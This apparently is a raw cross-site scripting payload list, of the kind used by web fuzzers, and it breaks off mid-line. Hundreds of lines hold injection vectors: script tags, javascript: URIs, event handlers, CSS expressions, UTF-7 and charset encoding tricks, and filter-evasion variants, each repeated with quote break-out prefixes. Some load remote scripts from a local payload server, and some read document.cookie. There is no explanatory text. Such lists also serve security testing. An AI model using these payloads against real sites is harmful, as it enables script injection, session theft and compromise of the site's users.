charset=\"x-imap4-modified-utf7\">&ADz&AGn&AG0&AEf&ACA&AHM&AHI&AGO&AD0&AGn&ACA&AG8Abg&AGUAcgByAG8AcgA9AGEAbABlAHIAdAAoADEAKQ&ACAAPABi\r\n\"><meta charset=\"x-imap4-modified-utf7\">&ADz&AGn&AG0&AEf&ACA&AHM&AHI&AGO&AD0&AGn&ACA&AG8Abg&AGUAcgByAG8AcgA9AGEAbABlAHIAdAAoADEAKQ&ACAAPABi\r\n'><meta charset=\"x-imap4-modified-utf7\">&ADz&AGn&AG0&AEf&ACA&AHM&AHI&AGO&AD0&AGn&ACA&AG8Abg&AGUAcgByAG8AcgA9AGEAbABlAHIAdAAoADEAKQ&ACAAPABi\r\n<meta charset=\"x-imap4-modified-utf7\">&<script&S1&TS&1>alert&A7&(1)&R&UA;&&<&A9&11/script&X&>\r\n\"><meta charset=\"x-imap4-modified-utf7\">&<script&S1&TS&1>alert&A7&(1)&R&UA;&&<&A9&11/script&X&>\r\n'><meta charset=\"x-imap4-modified-utf7\">&<script&S1&TS&1>alert&A7&(1)&R&UA;&&<&A9&11/script&X&>\r\n<meta charset=\"mac-farsi\">?script?javascript:alert(1)?/script?\r\n\"><meta charset=\"mac-farsi\">?script?javascript:alert(1)?/script?\r\n'><meta charset=\"mac-farsi\">?script?javascript:alert(1)?/script?\r\nX<x style=`behavior:url(#default#time2)` onbegin=`javascript:alert(1)` >\r\n1<set/xmlns=`urn:schemas-microsoft-com:time` style=`beh&#x41vior:url(#default#time2)` attributename=`innerhtml` to=`&lt;img/src=&quot;x&quot;onerror=javascript:alert(1)&gt;`>\r\n1<animate/xmlns=urn:schemas-microsoft-com:time style=behavior:url(#default#time2) attributename=innerhtml values=&lt;img/src=&quot;.&quot;onerror=javascript:alert(1)&gt;>\r\n<vmlframe xmlns=urn:schemas-microsoft-com:vml style=behavior:url(#default#vml);position:absolute;width:100%;height:100% src=%(vml)s#X></vmlframe>\r\n\"><vmlframe xmlns=urn:schemas-microsoft-com:vml style=behavior:url(#default#vml);position:absolute;width:100%;height:100% src=%(vml)s#X></vmlframe>\r\n'><vmlframe xmlns=urn:schemas-microsoft-com:vml style=behavior:url(#default#vml);position:absolute;width:100%;height:100% src=%(vml)s#X></vmlframe>\r\n1<a href=#><line xmlns=urn:schemas-microsoft-com:vml style=behavior:url(#default#vml);position:absolute href=javascript:javascript:alert(1) strokecolor=white strokeweight=1000px from=0 to=1000 /></a>\r\n<a style=\"behavior:url(#default#AnchorClick);\" folder=\"javascript:javascript:alert(1)\">X</a>\r\n\"><a style=\"behavior:url(#default#AnchorClick);\" folder=\"javascript:javascript:alert(1)\">X</a>\r\n'><a style=\"behavior:url(#default#AnchorClick);\" folder=\"javascript:javascript:alert(1)\">X</a>\r\n<x style=\"behavior:url(%(sct)s)\">\r\n\"><x style=\"behavior:url(%(sct)s)\">\r\n'><x style=\"behavior:url(%(sct)s)\">\r\n<xml id=\"X\" src=\"%(htc)s\"></xml> <label dataformatas=\"html\" datasrc=\"#X\" datafld=\"payload\"></label>\r\n\"><xml id=\"X\" src=\"%(htc)s\"></xml> <label dataformatas=\"html\" datasrc=\"#X\" datafld=\"payload\"></label>\r\n'><xml id=\"X\" src=\"%(htc)s\"></xml> <label dataformatas=\"html\" datasrc=\"#X\" datafld=\"payload\"></label>\r\n<event-source src=\"%(event)s\" onload=\"javascript:alert(1)\">\r\n\"><event-source src=\"%(event)s\" onload=\"javascript:alert(1)\">\r\n'><event-source src=\"%(event)s\" onload=\"javascript:alert(1)\">\r\n<a href=\"javascript:javascript:alert(1)\"><event-source src=\"data:application/x-dom-event-stream,Event:click%0Adata:X%0A%0A\">\r\n\"><a href=\"javascript:javascript:alert(1)\"><event-source src=\"data:application/x-dom-event-stream,Event:click%0Adata:X%0A%0A\">\r\n'><a href=\"javascript:javascript:alert(1)\"><event-source src=\"data:application/x-dom-event-stream,Event:click%0Adata:X%0A%0A\">\r\n<div id=\"x\">x</div> <xml:namespace prefix=\"t\"> <import namespace=\"t\" implementation=\"#default#time2\"> <t:set attributeName=\"innerHTML\" targetElement=\"x\" to=\"&lt;img&#11;src=x:x&#11;onerror&#11;=javascript:alert(1)&gt;\">\r\n\"><div id=\"x\">x</div> <xml:namespace prefix=\"t\"> <import namespace=\"t\" implementation=\"#default#time2\"> <t:set attributeName=\"innerHTML\" targetElement=\"x\" to=\"&lt;img&#11;src=x:x&#11;onerror&#11;=javascript:alert(1)&gt;\">\r\n'><div id=\"x\">x</div> <xml:namespace prefix=\"t\"> <import namespace=\"t\" implementation=\"#default#time2\"> <t:set attributeName=\"innerHTML\" targetElement=\"x\" to=\"&lt;img&#11;src=x:x&#11;onerror&#11;=javascript:alert(1)&gt;\">\r\n<script>%(payload)s</script>\r\n</ScrIpt><script>%(payload)s</script>\r\n\"><script>%(payload)s</script>\r\n</ScrIpt><script>%(payload)s</script>\r\n'><script>%(payload)s</script>\r\n</ScrIpt><script>%(payload)s</script>\r\n<script src=%(jscript)s></script>\r\n\"><script src=%(jscript)s></script>\r\n'><script src=%(jscript)s></script>\r\n<script language='javascript' src='%(jscript)s'></script>\r\n\"><script language='javascript' src='%(jscript)s'></script>\r\n'><script language='javascript' src='%(jscript)s'></script>\r\n<script>javascript:alert(1)</script>\r\n</ScrIpt><script>javascript:alert(1)</script>\r\n\"><script>javascript:alert(1)</script>\r\n</ScrIpt><script>javascript:alert(1)</script>\r\n'><script>javascript:alert(1)</script>\r\n</ScrIpt><script>javascript:alert(1)</script>\r\n<IMG SRC=\"javascript:javascript:alert(1);\">\r\n\"><IMG SRC=\"javascript:javascript:alert(1);\">\r\n'><IMG SRC=\"javascript:javascript:alert(1);\">\r\n<IMG SRC=javascript:javascript:alert(1)>\r\n\"><IMG SRC=javascript:javascript:alert(1)>\r\n'><IMG SRC=javascript:javascript:alert(1)>\r\n<IMG SRC=`javascript:javascript:alert(1)`>\r\n\"><IMG SRC=`javascript:javascript:alert(1)`>\r\n'><IMG SRC=`javascript:javascript:alert(1)`>\r\n<SCRIPT SRC=%(jscript)s?<B>\r\n\"><SCRIPT SRC=%(jscript)s?<B>\r\n'><SCRIPT SRC=%(jscript)s?<B>\r\n<FRAMESET><FRAME SRC=\"javascript:javascript:alert(1);\"></FRAMESET>\r\n\"><FRAMESET><FRAME SRC=\"javascript:javascript:alert(1);\"></FRAMESET>\r\n'><FRAMESET><FRAME SRC=\"javascript:javascript:alert(1);\"></FRAMESET>\r\n<BODY ONLOAD=javascript:alert(1)>\r\n\"><BODY ONLOAD=javascript:alert(1)>\r\n'><BODY ONLOAD=javascript:alert(1)>\r\n<BODY ONLOAD=javascript:javascript:alert(1)>\r\n\"><BODY ONLOAD=javascript:javascript:alert(1)>\r\n'><BODY ONLOAD=javascript:javascript:alert(1)>\r\n<IMG SRC=\"jav\tascript:javascript:alert(1);\">\r\n\"><IMG SRC=\"jav\tascript:javascript:alert(1);\">\r\n'><IMG SRC=\"jav\tascript:javascript:alert(1);\">\r\n<BODY onload!#$%%&()*~+-_.,:;?@[/|\\]^`=javascript:alert(1)>\r\n\"><BODY onload!#$%%&()*~+-_.,:;?@[/|\\]^`=javascript:alert(1)>\r\n'><BODY onload!#$%%&()*~+-_.,:;?@[/|\\]^`=javascript:alert(1)>\r\n<SCRIPT/SRC=\"%(jscript)s\"></SCRIPT>\r\n\"><SCRIPT/SRC=\"%(jscript)s\"></SCRIPT>\r\n'><SCRIPT/SRC=\"%(jscript)s\"></SCRIPT>\r\n<<SCRIPT>%(payload)s//<</SCRIPT>\r\n\"><<SCRIPT>%(payload)s//<</SCRIPT>\r\n'><<SCRIPT>%(payload)s//<</SCRIPT>\r\n<IMG SRC=\"javascript:javascript:alert(1)\"\r\n\"><IMG SRC=\"javascript:javascript:alert(1)\"\r\n'><IMG SRC=\"javascript:javascript:alert(1)\"\r\n<iframe src=%(scriptlet)s <\r\n\"><iframe src=%(scriptlet)s <\r\n'><iframe src=%(scriptlet)s <\r\n<INPUT TYPE=\"IMAGE\" SRC=\"javascript:javascript:alert(1);\">\r\n\"><INPUT TYPE=\"IMAGE\" SRC=\"javascript:javascript:alert(1);\">\r\n'><INPUT TYPE=\"IMAGE\" SRC=\"javascript:javascript:alert(1);\">\r\n<IMG DYNSRC=\"javascript:javascript:alert(1)\">\r\n\"><IMG DYNSRC=\"javascript:javascript:alert(1)\">\r\n'><IMG DYNSRC=\"javascript:javascript:alert(1)\">\r\n<IMG LOWSRC=\"javascript:javascript:alert(1)\">\r\n\"><IMG LOWSRC=\"javascript:javascript:alert(1)\">\r\n'><IMG LOWSRC=\"javascript:javascript:alert(1)\">\r\n<BGSOUND SRC=\"javascript:javascript:alert(1);\">\r\n\"><BGSOUND SRC=\"javascript:javascript:alert(1);\">\r\n'><BGSOUND SRC=\"javascript:javascript:alert(1);\">\r\n<BR SIZE=\"&{javascript:alert(1)}\">\r\n\"><BR SIZE=\"&{javascript:alert(1)}\">\r\n'><BR SIZE=\"&{javascript:alert(1)}\">\r\n<LAYER SRC=\"%(scriptlet)s\"></LAYER>\r\n\"><LAYER SRC=\"%(scriptlet)s\"></LAYER>\r\n'><LAYER SRC=\"%(scriptlet)s\"></LAYER>\r\n<LINK REL=\"stylesheet\" HREF=\"javascript:javascript:alert(1);\">\r\n\"><LINK REL=\"stylesheet\" HREF=\"javascript:javascript:alert(1);\">\r\n'><LINK REL=\"stylesheet\" HREF=\"javascript:javascript:alert(1);\">\r\n<STYLE>@import'%(css)s';</STYLE>\r\n\"><STYLE>@import'%(css)s';</STYLE>\r\n'><STYLE>@import'%(css)s';</STYLE>\r\n<META HTTP-EQUIV=\"Link\" Content=\"<%(css)s>; REL=stylesheet\">\r\n\"><META HTTP-EQUIV=\"Link\" Content=\"<%(css)s>; REL=stylesheet\">\r\n'><META HTTP-EQUIV=\"Link\" Content=\"<%(css)s>; REL=stylesheet\">\r\n<X STYLE=\"behavior: url(%(htc)s);\">\r\n\"><X STYLE=\"behavior: url(%(htc)s);\">\r\n'><X STYLE=\"behavior: url(%(htc)s);\">\r\n<STYLE>li {list-style-image: url(\"javascript:javascript:alert(1)\");}</STYLE><UL><LI>X\r\n\"><STYLE>li {list-style-image: url(\"javascript:javascript:alert(1)\");}</STYLE><UL><LI>X\r\n'><STYLE>li {list-style-image: url(\"javascript:javascript:alert(1)\");}</STYLE><UL><LI>X\r\n<META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=javascript:javascript:alert(1);\">\r\n\"><META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=javascript:javascript:alert(1);\">\r\n'><META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=javascript:javascript:alert(1);\">\r\n<META HTTP-EQUIV=\"refresh\" CONTENT=\"0; URL=http://;URL=javascript:javascript:alert(1);\">\r\n\"><META HTTP-EQUIV=\"refresh\" CONTENT=\"0; URL=http://;URL=javascript:javascript:alert(1);\">\r\n'><META HTTP-EQUIV=\"refresh\" CONTENT=\"0; URL=http://;URL=javascript:javascript:alert(1);\">\r\n<IFRAME SRC=\"javascript:javascript:alert(1);\"></IFRAME>\r\n\"><IFRAME SRC=\"javascript:javascript:alert(1);\"></IFRAME>\r\n'><IFRAME SRC=\"javascript:javascript:alert(1);\"></IFRAME>\r\n<TABLE BACKGROUND=\"javascript:javascript:alert(1)\">\r\n\"><TABLE BACKGROUND=\"javascript:javascript:alert(1)\">\r\n'><TABLE BACKGROUND=\"javascript:javascript:alert(1)\">\r\n<TABLE><TD BACKGROUND=\"javascript:javascript:alert(1)\">\r\n\"><TABLE><TD BACKGROUND=\"javascript:javascript:alert(1)\">\r\n'><TABLE><TD BACKGROUND=\"javascript:javascript:alert(1)\">\r\n<DIV STYLE=\"background-image: url(javascript:javascript:alert(1))\">\r\n\"><DIV STYLE=\"background-image: url(javascript:javascript:alert(1))\">\r\n'><DIV STYLE=\"background-image: url(javascript:javascript:alert(1))\">\r\n<DIV STYLE=\"width:expression(javascript:alert(1));\">\r\n\"><DIV STYLE=\"width:expression(javascript:alert(1));\">\r\n'><DIV STYLE=\"width:expression(javascript:alert(1));\">\r\n<IMG STYLE=\"X:expr/*X*/ession(javascript:alert(1))\">\r\n\"><IMG STYLE=\"X:expr/*X*/ession(javascript:alert(1))\">\r\n'><IMG STYLE=\"X:expr/*X*/ession(javascript:alert(1))\">\r\n<X STYLE=\"X:expression(javascript:alert(1))\">\r\n\"><X STYLE=\"X:expression(javascript:alert(1))\">\r\n'><X STYLE=\"X:expression(javascript:alert(1))\">\r\n<STYLE TYPE=\"text/javascript\">javascript:alert(1);</STYLE>\r\n\"><STYLE TYPE=\"text/javascript\">javascript:alert(1);</STYLE>\r\n'><STYLE TYPE=\"text/javascript\">javascript:alert(1);</STYLE>\r\n<STYLE>.X{background-image:url(\"javascript:javascript:alert(1)\");}</STYLE><A CLASS=X></A>\r\n\"><STYLE>.X{background-image:url(\"javascript:javascript:alert(1)\");}</STYLE><A CLASS=X></A>\r\n'><STYLE>.X{background-image:url(\"javascript:javascript:alert(1)\");}</STYLE><A CLASS=X></A>\r\n\"><A CLASS=X></A>\r\n'><A CLASS=X></A>\r\n<STYLE type=\"text/css\">BODY{background:url(\"javascript:javascript:alert(1)\")}</STYLE>\r\n\"><STYLE type=\"text/css\">BODY{background:url(\"javascript:javascript:alert(1)\")}</STYLE>\r\n'><STYLE type=\"text/css\">BODY{background:url(\"javascript:javascript:alert(1)\")}</STYLE>\r\n<!--[if gte IE 4]><SCRIPT>javascript:alert(1);</SCRIPT><![endif]-->\r\n\"><!--[if gte IE 4]><SCRIPT>javascript:alert(1);</SCRIPT><![endif]-->\r\n'><!--[if gte IE 4]><SCRIPT>javascript:alert(1);</SCRIPT><![endif]-->\r\n<BASE HREF=\"javascript:javascript:alert(1);//\">\r\n\"><BASE HREF=\"javascript:javascript:alert(1);//\">\r\n'><BASE HREF=\"javascript:javascript:alert(1);//\">\r\n<OBJECT TYPE=\"text/x-scriptlet\" DATA=\"%(scriptlet)s\"></OBJECT>\r\n\"><OBJECT TYPE=\"text/x-scriptlet\" DATA=\"%(scriptlet)s\"></OBJECT>\r\n'><OBJECT TYPE=\"text/x-scriptlet\" DATA=\"%(scriptlet)s\"></OBJECT>\r\n<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:javascript:alert(1)></OBJECT>\r\n\"><OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:javascript:alert(1)></OBJECT>\r\n'><OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:javascript:alert(1)></OBJECT>\r\n<HTML xmlns:X><?import namespace=\"X\" implementation=\"%(htc)s\"><X:X>X</X:X></HTML>\"\"\",\"XML namespace.\"),(\"\"\"<XML ID=\"X\"><I><B>&lt;IMG SRC=\"javas<!-- -->cript:javascript:alert(1)\"&gt;</B></I></XML><SPAN DATASRC=\"#X\" DATAFLD=\"B\" DATAFORMATAS=\"HTML\"></SPAN>\r\n\"><HTML xmlns:X><?import namespace=\"X\" implementation=\"%(htc)s\"><X:X>X</X:X></HTML>\"\"\",\"XML namespace.\"),(\"\"\"<XML ID=\"X\"><I><B>&lt;IMG SRC=\"javas<!-- -->cript:javascript:alert(1)\"&gt;</B></I></XML><SPAN DATASRC=\"#X\" DATAFLD=\"B\" DATAFORMATAS=\"HTML\"></SPAN>\r\n'><HTML xmlns:X><?import namespace=\"X\" implementation=\"%(htc)s\"><X:X>X</X:X></HTML>\"\"\",\"XML namespace.\"),(\"\"\"<XML ID=\"X\"><I><B>&lt;IMG SRC=\"javas<!-- -->cript:javascript:alert(1)\"&gt;</B></I></XML><SPAN DATASRC=\"#X\" DATAFLD=\"B\" DATAFORMATAS=\"HTML\"></SPAN>\r\n\"><SPAN DATASRC=\"#X\" DATAFLD=\"B\" DATAFORMATAS=\"HTML\"></SPAN>\r\n'><SPAN DATASRC=\"#X\" DATAFLD=\"B\" DATAFORMATAS=\"HTML\"></SPAN>\r\n<HTML><BODY><?xml:namespace prefix=\"t\" ns=\"urn:schemas-microsoft-com:time\">\r\n\"><?xml:namespace prefix=\"t\" ns=\"urn:schemas-microsoft-com:time\">\r\n'><?xml:namespace prefix=\"t\" ns=\"urn:schemas-microsoft-com:time\"><?import namespace=\"t\" implementation=\"#default#time2\"><t:set attributeName=\"innerHTML\" to=\"X&lt;SCRIPT DEFER&gt;javascript:alert(1)&lt;/SCRIPT&gt;\"></BODY></HTML>\r\n<SCRIPT SRC=\"%(jpg)s\"></SCRIPT>\r\n\"><SCRIPT SRC=\"%(jpg)s\"></SCRIPT>\r\n'><SCRIPT SRC=\"%(jpg)s\"></SCRIPT>\r\n<HEAD><META HTTP-EQUIV=\"CONTENT-TYPE\" CONTENT=\"text/html; charset=UTF-7\"> </HEAD>+ADw-SCRIPT+AD4-%(payload)s;+ADw-/SCRIPT+AD4-\r\n\"><HEAD><META HTTP-EQUIV=\"CONTENT-TYPE\" CONTENT=\"text/html; charset=UTF-7\"> </HEAD>+ADw-SCRIPT+AD4-%(payload)s;+ADw-/SCRIPT+AD4-\r\n'><HEAD><META HTTP-EQUIV=\"CONTENT-TYPE\" CONTENT=\"text/html; charset=UTF-7\"> </HEAD>+ADw-SCRIPT+AD4-%(payload)s;+ADw-/SCRIPT+AD4-\r\n<form id=\"test\" /><button form=\"test\" formaction=\"javascript:javascript:alert(1)\">X\r\n\"><form id=\"test\" /><button form=\"test\" formaction=\"javascript:javascript:alert(1)\">X\r\n'><form id=\"test\" /><button form=\"test\" formaction=\"javascript:javascript:alert(1)\">X\r\n<body onscroll=javascript:alert(1)><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus>\r\n\"><body onscroll=javascript:alert(1)><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus>\r\n'><body onscroll=javascript:alert(1)><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus>\r\n<P STYLE=\"behavior:url('#default#time2')\" end=\"0\" onEnd=\"javascript:alert(1)\">\r\n\"><P STYLE=\"behavior:url('#default#time2')\" end=\"0\" onEnd=\"javascript:alert(1)\">\r\n'><P STYLE=\"behavior:url('#default#time2')\" end=\"0\" onEnd=\"javascript:alert(1)\">\r\n<STYLE>a{background:url('s1' 's2)}@import javascript:javascript:alert(1);');}</STYLE>\r\n\"><STYLE>a{background:url('s1' 's2)}@import javascript:javascript:alert(1);');}</STYLE>\r\n'><STYLE>a{background:url('s1' 's2)}@import javascript:javascript:alert(1);');}</STYLE>\r\n<meta charset= \"x-imap4-modified-utf7\"&&>&&<script&&>javascript:alert(1)&&;&&<&&/script&&>\r\n\"><meta charset= \"x-imap4-modified-utf7\"&&>&&<script&&>javascript:alert(1)&&;&&<&&/script&&>\r\n'><meta charset= \"x-imap4-modified-utf7\"&&>&&<script&&>javascript:alert(1)&&;&&<&&/script&&>\r\n<SCRIPT onreadystatechange=javascript:javascript:alert(1);></SCRIPT>\r\n\"><SCRIPT onreadystatechange=javascript:javascript:alert(1);></SCRIPT>\r\n'><SCRIPT onreadystatechange=javascript:javascript:alert(1);></SCRIPT>\r\n<style onreadystatechange=javascript:javascript:alert(1);></style>\r\n\"><style onreadystatechange=javascript:javascript:alert(1);></style>\r\n'><style onreadystatechange=javascript:javascript:alert(1);></style>\r\n<?xml version=\"1.0\"?><html:html xmlns:html='http://www.w3.org/1999/xhtml'><html:script>javascript:alert(1);</html:script></html:html>\r\n\"><?xml version=\"1.0\"?><html:html xmlns:html='http://www.w3.org/1999/xhtml'><html:script>javascript:alert(1);</html:script></html:html>\r\n'><?xml version=\"1.0\"?><html:html xmlns:html='http://www.w3.org/1999/xhtml'><html:script>javascript:alert(1);</html:script></html:html>\r\n<embed code=%(scriptlet)s></embed>\r\n\"><embed code=%(scriptlet)s></embed>\r\n'><embed code=%(scriptlet)s></embed>\r\n<embed code=javascript:javascript:alert(1);></embed>\r\n\"><embed code=javascript:javascript:alert(1);></embed>\r\n'><embed code=javascript:javascript:alert(1);></embed>\r\n<embed src=%(jscript)s></embed>\r\n\"><embed src=%(jscript)s></embed>\r\n'><embed src=%(jscript)s></embed>\r\n<frameset onload=javascript:javascript:alert(1)></frameset>\r\n\"><frameset onload=javascript:javascript:alert(1)></frameset>\r\n'><frameset onload=javascript:javascript:alert(1)></frameset>\r\n<object onerror=javascript:javascript:alert(1)>\r\n\"><object onerror=javascript:javascript:alert(1)>\r\n'><object onerror=javascript:javascript:alert(1)>\r\n<embed type=\"image\" src=%(scriptlet)s></embed>\r\n\"><embed type=\"image\" src=%(scriptlet)s></embed>\r\n'><embed type=\"image\" src=%(scriptlet)s></embed>\r\n<XML ID=I><X><C><![CDATA[<IMG SRC=\"javas]]<![CDATA[cript:javascript:alert(1);\">]]</C><X></xml>\r\n\"><XML ID=I><X><C><![CDATA[<IMG SRC=\"javas]]<![CDATA[cript:javascript:alert(1);\">]]</C><X></xml>\r\n'><XML ID=I><X><C><![CDATA[<IMG SRC=\"javas]]<![CDATA[cript:javascript:alert(1);\">]]</C><X></xml>\r\n<IMG SRC=&{javascript:alert(1);};>\r\n\"><IMG SRC=&{javascript:alert(1);};>\r\n'><IMG SRC=&{javascript:alert(1);};>\r\n<a href=\"jav&#65ascript:javascript:alert(1)\">test1</a>\r\n\"><a href=\"jav&#65ascript:javascript:alert(1)\">test1</a>\r\n'><a href=\"jav&#65ascript:javascript:alert(1)\">test1</a>\r\n<a href=\"jav&#97ascript:javascript:alert(1)\">test1</a>\r\n\"><a href=\"jav&#97ascript:javascript:alert(1)\">test1</a>\r\n'><a href=\"jav&#97ascript:javascript:alert(1)\">test1</a>\r\n<embed width=500 height=500 code=\"data:text/html,<script>%(payload)s</script>\r\n</ScrIpt><script>%(payload)s</script>\r\n\"><script>%(payload)s</script>\r\n</ScrIpt><script>%(payload)s</script>\r\n'><script>%(payload)s</script>\r\n</ScrIpt><script>%(payload)s</script>\"></embed>\r\n<iframe srcdoc=\"&LT;iframe&sol;srcdoc=&amp;lt;img&sol;src=&amp;apos;&amp;apos;onerror=javascript:alert(1)&amp;gt;>\">\r\n\"><iframe srcdoc=\"&LT;iframe&sol;srcdoc=&amp;lt;img&sol;src=&amp;apos;&amp;apos;onerror=javascript:alert(1)&amp;gt;>\">\r\n'><iframe srcdoc=\"&LT;iframe&sol;srcdoc=&amp;lt;img&sol;src=&amp;apos;&amp;apos;onerror=javascript:alert(1)&amp;gt;>\">\r\nalert(String.fromCharCode(75,67,70))//\";alert(String.fromCharCode(75,67,70))//--\r\n></SCRIPT>\">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>\r\n<SCRIPT SRC=http://127.0.0.1:3555/xss_serve_payloads/X.js></SCRIPT>\r\n\"><SCRIPT SRC=http://127.0.0.1:3555/xss_serve_payloads/X.js></SCRIPT>\r\n'><SCRIPT SRC=http://127.0.0.1:3555/xss_serve_payloads/X.js></SCRIPT>\r\n<SCRIPT SRC=http://127.0.0.1:3555/xss_serve_payloads/bmpz.bmp></SCRIPT>\r\n\"><SCRIPT SRC=http://127.0.0.1:3555/xss_serve_payloads/bmpz.bmp></SCRIPT>\r\n'><SCRIPT SRC=http://127.0.0.1:3555/xss_serve_payloads/bmpz.bmp></SCRIPT>\r\n<IMG SRC=\"javascript:alert('X');\">\r\n\"><IMG SRC=\"javascript:alert('X');\">\r\n'><IMG SRC=\"javascript:alert('X');\">\r\n<IMG SRC=javascript:alert('X')>\r\n\"><IMG SRC=javascript:alert('X')>\r\n'><IMG SRC=javascript:alert('X')>\r\n<IMG SRC=JaVaScRiPt:alert('X')>\r\n\"><IMG SRC=JaVaScRiPt:alert('X')>\r\n'><IMG SRC=JaVaScRiPt:alert('X')>\r\n<IMG SRC=javascript:alert(\"X\")>\r\n\"><IMG SRC=javascript:alert(\"X\")>\r\n'><IMG SRC=javascript:alert(\"X\")>\r\n<IMG SRC=`javascript:alert(\"X says, 'X'\")`>\r\n\"><IMG SRC=`javascript:alert(\"X says, 'X'\")`>\r\n'><IMG SRC=`javascript:alert(\"X says, 'X'\")`>\r\n<a onmouseover=\"alert(document.cookie)\">X link</a>\r\n\"><a onmouseover=\"alert(document.cookie)\">X link</a>\r\n'><a onmouseover=\"alert(document.cookie)\">X link</a>\r\n<a onmouseover=alert(document.cookie)>X link</a>\r\n\"><a onmouseover=alert(document.cookie)>X link</a>\r\n'><a onmouseover=alert(document.cookie)>X link</a>\r\n<IMG \"\"\"><SCRIPT>alert(\"X\")</SCRIPT>\">\r\n\"><IMG \"\"\"><SCRIPT>alert(\"X\")</SCRIPT>\">\r\n'><IMG \"\"\"><SCRIPT>alert(\"X\")</SCRIPT>\">\r\n<IMG SRC= onmouseover=\"alert('X')\">\r\n\"><IMG SRC= onmouseover=\"alert('X')\">\r\n'><IMG SRC= onmouseover=\"alert('X')\">\r\n<IMG onmouseover=\"alert('X')\">\r\n\"><IMG onmouseover=\"alert('X')\">\r\n'><IMG onmouseover=\"alert('X')\">\r\n<IMG SRC=\"jav&#x09;ascript:alert('X');\">\r\n\"><IMG SRC=\"jav&#x09;ascript:alert('X');\">\r\n'><IMG SRC=\"jav&#x09;ascript:alert('X');\">\r\n<IMG SRC=\"jav&#x0D;ascript:alert('X');\">\r\n\"><IMG SRC=\"jav&#x0D;ascript:alert('X');\">\r\n'><IMG SRC=\"jav&#x0D;ascript:alert('X');\">\r\nperl -e 'print \"<IMG SRC=java\\0script:alert(\\\"X\\\")>\";' > out\r\n<IMG SRC=\" &#14;  javascript:alert('X');\">\r\n\"><IMG SRC=\" &#14;  javascript:alert('X');\">\r\n'><IMG SRC=\" &#14;  javascript:alert('X');\">\r\n<SCRIPT/X SRC=\"http://127.0.0.1:3555/xss_serve_payloads/X.js\"></SCRIPT>\r\n\"><SCRIPT/X SRC=\"http://127.0.0.1:3555/xss_serve_payloads/X.js\"></SCRIPT>\r\n'><SCRIPT/X SRC=\"http://127.0.0.1:3555/xss_serve_payloads/X.js\"></SCRIPT>\r\n<SCRIPT/X SRC=\"http://127.0.0.1:3555/xss_serve_payloads/bmpz.bmp\"></SCRIPT>\r\n\"><SCRIPT/X SRC=\"http://127.0.0.1:3555/xss_serve_payloads/bmpz.bmp\"></SCRIPT>\r\n'><SCRIPT/X SRC=\"http://127.0.0.1:3555/xss_serve_payloads/bmpz.bmp\"></SCRIPT>\r\n<SCRIPT/SRC=\"http://127.0.0.1:3555/xss_serve_payloads/X.js\"></SCRIPT>\r\n\"><SCRIPT/SRC=\"http://127.0.0.1:3555/xss_serve_payloads/X.js\"></SCRIPT>\r\n'><SCRIPT/SRC=\"http://127.0.0.1:3555/xss_serve_payloads/X.js\"></SCRIPT>\r\n<SCRIPT/SRC=\"http://127.0.0.1:3555/xss_serve_payloads/bmpz.bmp\"></SCRIPT>\r\n\"><SCRIPT/SRC=\"http://127.0.0.1:3555/xss_serve_payloads/bmpz.bmp\"></SCRIPT>\r\n'><SCRIPT/SRC=\"http://127.0.0.1:3555/xss_serve_payloads/bmpz.bmp\"></SCRIPT>\r\n<<SCRIPT>alert(\"X\");//<</SCRIPT>\r\n\"><<SCRIPT>alert(\"X\");//<</SCRIPT>\r\n'><<SCRIPT>alert(\"X\");//<</SCRIPT>\r\n<SCRIPT SRC=http://127.0.0.1:3555/xss_serve_payloads/X.js< B >\r\n\"><SCRIPT SRC=http://127.0.0.1:3555/xss_serve_payloads/X.js< B >\r\n'><SCRIPT SRC=http://127.0.0.1:3555/xss_serve_payloads/X.js< B >\r\n<SCRIPT SRC=http://127.0.0.1:3555/xss_serve_payloads/bmpz.bmp< B >\r\n\"><SCRIPT SRC=http://127.0.0.1:3555/xss_serve_payloads/bmpz.bmp< B >\r\n'><SCRIPT SRC=http://127.0.0.1:3555/xss_serve_payloads/bmpz.bmp< B >\r\n<SCRIPT SRC=//127.0.0.1:3555/xss_serve_payloads/.j>\r\n\"><SCRIPT SRC=//127.0.0.1:3555/xss_serve_payloads/.j>\r\n'><SCRIPT SRC=//127.0.0.1:3555/xss_serve_payloads/.j>\r\n<IMG SRC=\"javascript:alert('X')\"\r\n\"><IMG SRC=\"javascript:alert('X')\"\r\n'><IMG SRC=\"javascript:alert('X')\"\r\n</TITLE><SCRIPT>alert(\"X\");</SCRIPT>\r\n\"></TITLE><SCRIPT>alert(\"X\");</SCRIPT>\r\n'></TITLE><SCRIPT>alert(\"X\");</SCRIPT>\r\n<INPUT TYPE=\"IMAGE\" SRC=\"javascript:alert('X');\">\r\n\"><INPUT TYPE=\"IMAGE\" SRC=\"javascript:alert('X');\">\r\n'><INPUT TYPE=\"IMAGE\" SRC=\"javascript:alert('X');\">\r\n<BODY BACKGROUND=\"javascript:alert('X')\">\r\n\"><BODY BACKGROUND=\"javascript:alert('X')\">\r\n'><BODY BACKGROUND=\"javascript:alert('X')\">\r\n<IMG DYNSRC=\"javascript:alert('X')\">\r\n\"><IMG DYNSRC=\"javascript:alert('X')\">\r\n'><IMG DYNSRC=\"javascript:alert('X')\">\r\n<IMG LOWSRC=\"javascript:alert('X')\">\r\n\"><IMG LOWSRC=\"javascript:alert('X')\">\r\n'><IMG LOWSRC=\"javascript:alert('X')\">\r\n<STYLE>li {list-style-image: url(\"javascript:alert('X')\");}</STYLE><UL><LI>X</br>\r\n\"><STYLE>li {list-style-image: url(\"javascript:alert('X')\");}</STYLE><UL><LI>X</br>\r\n'><STYLE>li {list-style-image: 